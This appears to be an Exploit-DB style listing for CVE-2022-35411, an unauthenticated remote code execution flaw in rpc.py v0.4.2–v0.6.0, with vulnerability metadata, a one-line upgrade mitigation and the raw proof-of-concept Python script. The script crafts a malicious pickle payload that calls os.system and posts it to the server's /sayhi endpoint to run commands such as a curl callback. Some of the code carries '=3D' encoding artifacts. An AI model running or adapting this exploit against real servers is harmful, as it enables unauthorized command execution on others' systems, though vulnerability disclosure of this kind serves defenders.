rpc.py 0.6.0 - Remote Code Execution (RCE)

vendor:

rpc.py

by:

Elias Hohl

9.8

CVSS

CRITICAL

Remote Code Execution (RCE)

502

CWE

Product Name: rpc.py

Affected Version From: v0.4.2

Affected Version To: v0.6.0

Patch Exists: YES

Related CWE: CVE-2022-35411

CPE: a:abersheeran:rpc.py

Metasploit:

Other Scripts:

Platforms Tested: Debian 11, Ubuntu 20.04

2022

rpc.py 0.6.0 – Remote Code Execution (RCE)

A 0-day unauthenticated Remote Code Execution (RCE) vulnerability was discovered in rpc.py versions v0.4.2 - v0.6.0. An attacker can exploit this vulnerability by sending a malicious serialized payload to the vulnerable server using the pickle serializer. This payload can be used to execute arbitrary commands on the vulnerable server.

Mitigation:

Upgrade to the latest version of rpc.py, which is not vulnerable to this exploit.

Source

Exploit-DB raw data:

# Exploit Title: rpc.py 0.6.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 2022-07-12
# Exploit Author: Elias Hohl
# Vendor Homepage: https://github.com/abersheeran
# Software Link: https://github.com/abersheeran/rpc.py
# Version: v0.4.2 - v0.6.0
# Tested on: Debian 11, Ubuntu 20.04
# CVE : CVE-2022-35411

import requests
import pickle

# Unauthenticated RCE 0-day for https://github.com/abersheeran/rpc.py

HOST =3D "127.0.0.1:65432"

URL =3D f"http://{HOST}/sayhi"

HEADERS =3D {
    "serializer": "pickle"
}


def generate_payload(cmd):

    class PickleRce(object):
        def __reduce__(self):
            import os
            return os.system, (cmd,)

    payload =3D pickle.dumps(PickleRce())

    print(payload)

    return payload


def exec_command(cmd):

    payload =3D generate_payload(cmd)

    requests.post(url=3DURL, data=3Dpayload, headers=3DHEADERS)


def main():
    exec_command('curl http://127.0.0.1:4321')
    # exec_command('uname -a')


if __name__ =3D=3D "__main__":
    main()